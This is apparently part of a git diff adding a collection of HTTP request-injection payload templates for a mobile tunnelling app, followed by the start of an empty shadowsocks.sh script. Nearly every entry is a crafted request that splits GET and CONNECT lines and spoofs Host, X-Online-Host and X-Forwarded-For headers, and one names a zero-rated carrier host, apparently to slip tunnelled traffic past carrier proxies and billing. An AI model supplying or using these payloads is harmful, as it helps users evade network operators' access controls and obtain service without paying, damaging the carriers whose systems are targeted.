mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]get mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf][immutable] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]GET mhost/ HTTP/1.1[crlf][crlf][immutable] + +----------------------------------------------------------------------------- + +CONNECT [host_port]@mhost/ [instant_split]get http://mhost/ HTTP/1.1[crlf] + +----------------------------------------------------------------------------- + +[immutable]get [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port] [instant_split]get http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]get http://mhost/ +HTTP/1.1[ua][crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTPS/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [auth][crlf][crlf][delay_split]CONNECT [host_port] [protocol][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf][delay_split]CONNECT [host_port] [method][cr]?[lf][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port] [protocol]\r +\r +get http://mhost HTTP/1.1\r +Host: mhost\r +X-Online-Host: mhost\r +X-Forward-Host: mhost\r +User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP\r +\r + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost +User-Agent: Yes +Connection: close +Proxy-Connection: Keep-Alive +[crlf][crlf]CONNECT [host_port][protocol][crlf][crlf][immutable] + +----------------------------------------------------------------------------- + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + + + + +----------------------------------------------------------------------------- + + + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[lf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[lf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[lf] Age: 8, 8[lf] Cache-Control: max-age=86400[lf] public[lf] Connection: keep-alive[lf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[lf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[lf] Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[lf] Age: 8, 8[lf] Cache-Control: max-age=86400[lf] public[lf] Connection: keep-alive[lf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +[netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + + +GET http://mhost/ HTTP/1.1 +Host: mhost/ +User-Agent: Yes +Connection: close +Proxy-Connection: update +[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf][crlf][crlf] + + + +----------------------------------------------------------------------------- + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1 +Host: mhost +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 +Referer: http://mhost +Accept-Encoding: gzip, deflate, sdch +Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4 +Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1 +Connection: close +Proxy-Connection: Keep-Alive +[crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + + + +get [host_port][protocol][crlf][split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost[crlf] HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf] +Referer:http://mhost[crlf] +Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost +User-Agent: null +Connection: close +Proxy-Connection: x-online-host +[lf][lf] CONNECT [host_port] [protocol] [netData][lf]Content-Length: 130 [lf][lf] + + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[lf]Accept-Encoding: gzip,deflate[lf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[lf]Connection: Basic[lf]Referer: mhost[lf]Cookie: mhost [lf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[lf]HEAD http://mhost/ [protocol][lf]Host: mhost[lf]CONNECT [lf]DELETE http://mhost/ HTTP/1.1[crlf]CONNECT mhost [crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][lf] [crlf][crlf][netData][cr][lf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- +get [host_port]@mhost HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] + +----------------------------------------------------------------------------- +CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]get http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf] + +----------------------------------------------------------------------------- + +get https://mhost/ HTTP/1.1 +Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 +Keep-Alive: 115 +Connection: keep-alive +Referer: mhost +Cookie: mhost Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost[crlf]User-Agent: Yes[lf]Accept-Encoding: gzip,deflate[lf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[lf]Connection: Basic[lf]Referer: mhost[lf]Cookie: mhost [lf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost [protocol][crlf][crlf] + + +---------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]DATA: 2048B[lf]Host: mhost[lf]User-Agent: Yes[lf]Connection: close[lf]Accept-Encoding: gzip[lf]Non-Buffer: true[lf]Proxy: false[lf][lf][netData][lf] [lf][lf] + + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1 +Host: mhost +Cache-Control=max-age=0 +[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]X-Online-Host: mhost[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\nHost: mhost/\nUser-Agent: Yes\nConnection: close\nProxy-Connection: Keep-Alive\n\r\n\r\n[netData]\r\n \r\n\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][lf][realData][lf][lf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][split]CONNECT [host_port][protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port][protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +[netData][crlf] +get http://mhost/[crlf] +Host: mhost[crlf][crlf] +CONNECT mhost[protocol][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\n +Host: mhost\r\nConnection: Keep-Alive\r\n +\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf] +Host: mhost[crlf] +X-Online-Host: mhost[crlf][crlf] +CONNECT mhost [protocol][crlf] +[crlf] + + + +----------------------------------------------------------------------------- + +[netData][crlf] +get http://mhost/ HTTP/1.1[crlf] +Host: mhost[crlf] +CONNECT mhost[protocol][crlf] + + + +----------------------------------------------------------------------------- + +[netData] HTTP/1.0\r\n\r\n +get http://mhost/ HTTP/1.1\r\n +Host: mhost\r\n +Connection: Keep-Alive\r\n +CONNECT mhost\r\n +\r\n + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf][crlf] + + +----------------------------------------------------------------------------- + +get [host_port]@mhost HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split]CONNECT [ssh]HTTP/1.0[crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: +mhost[crlf]Connection: Keep-Alive[crlf][crlf] +[lf][realData][crlf]CONNECT mhost HTTP/1.1[lf][lf] + + +----------------------------------------------------------------------------- + + +get [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf] +[crlf] + + + + + +----------------------------------------------------------------------------- + +get [host_port]http://mhost/[protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf]CONNECT [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]CONNECT mhost[crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: +http://mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nHost: +mhost\r\n\r\n[netData] +\r\n\r\n\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nX-Online-Host:mhost\r\n\r\nCONNECT mip:443 +HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1\r\nGET: mhost\n\r\nCONNECT mip:443 +HTTP/1.0\r\n \r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\r\n\r\n\\\r\n + + + +----------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf]CONNECT [host_port][protocol][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + + +get http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port] [protocol][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Forward-Host: mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Connection: http://mhost[lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]CONNECT mhost@[port][protocol][lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][lf]HEAD http://mhost[protocol][lf]Host: mhost [lf] + + +----------------------------------------------------------------------------- + + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]-Agent: mhost[ua][crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: mhost[ua][crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf][split]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: mhost[ua][crlf]Connection: close[crlf]CONNECT mhost [host_port] [protocol][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port] [protocol][crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]CONNECT http://mhost[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]get http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port][protocol][crlf] [crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]GET http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port][protocol][crlf] [crlf] + + +----------------------------------------------------------------------------- +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]CONNECT http://mhost/[protocol]@[host_port][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf] +[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port] HTTP/1.1[crlf][crlf][crlf]GET http://mhost/[protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf] +[crlf][netData][crlf] [crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost\r\nHost:mhost\r\n\r\n[netData]\r\n \r\n\r\n + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/[host_port][method]HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][lf]HEAD http://mhost[protocol][lf]Host: mhost lf]CONNECT mhost [lf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf] + + + +----------------------------------------------------------------------------- +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost [host_port][protocol][crlf] [crlf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf][lf]CONNECT mhost [host_port][lf]CONNECT mhost [lf] + + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][lf]CONNECT mhost [host_port][lf]CONNECT mhost [lf] + + + +----------------------------------------------------------------------------- + +[realData][crlf][split]get http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]mhost[lf]Host: mhost[lf][lf]CONNECT mhost [host_port][lf]get mhost [lf] + + + +----------------------------------------------------------------------------- +get [host_port]@mhost" HTTP/1.1[crlf][crlf]GET http://mhost"/ [protocol][crlf]Host: mhost"[crlf]X-Forward-Host: mhost"[crlf]CONNECT [host_port] [protocol][crlf][crlf] + +----------------------------------------------------------------------------- + + +get [host_port] [protocol][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf]X-Online-Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + + +get http://mhost HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf]CONNECT [host_port] [protocol][crlf] [crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]Host: mhost [lf][lf]CONNECT [host_port][lf]CONNECT [lf] + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: mhost[crlf][crlf]CONNECT [host_port] [protocol][crlf]X-Online-Host: mhost [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost HTTP/1.1[crlf]Connect mip:443 [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost[protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]get mhost HTTP/1.1[cr][lf][raw][crlf] [crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]get mip:443@mhost HTTP/1.1[crlf][crlf] + +----------------------------------------------------------------------------- + +get [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost User-Agent: Yes +Connection: close +Proxy-Connection: Keep-Alive Connection: Transfer-Encoding +[protocol][ua][port][auth][lf][lf][netData][lf] [lf][lf] + +----------------------------------------------------------------------------- + +get [host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf] + +----------------------------------------------------------------------------- + diff --git a/Lista/shadowsocks.sh b/Lista/shadowsocks.sh new file mode 100755 index 0000000..142d056 --- /dev/null +++ b/Lista/shadowsocks.sh @@ -0,0 +1,2 @@ +#!/bin/bash 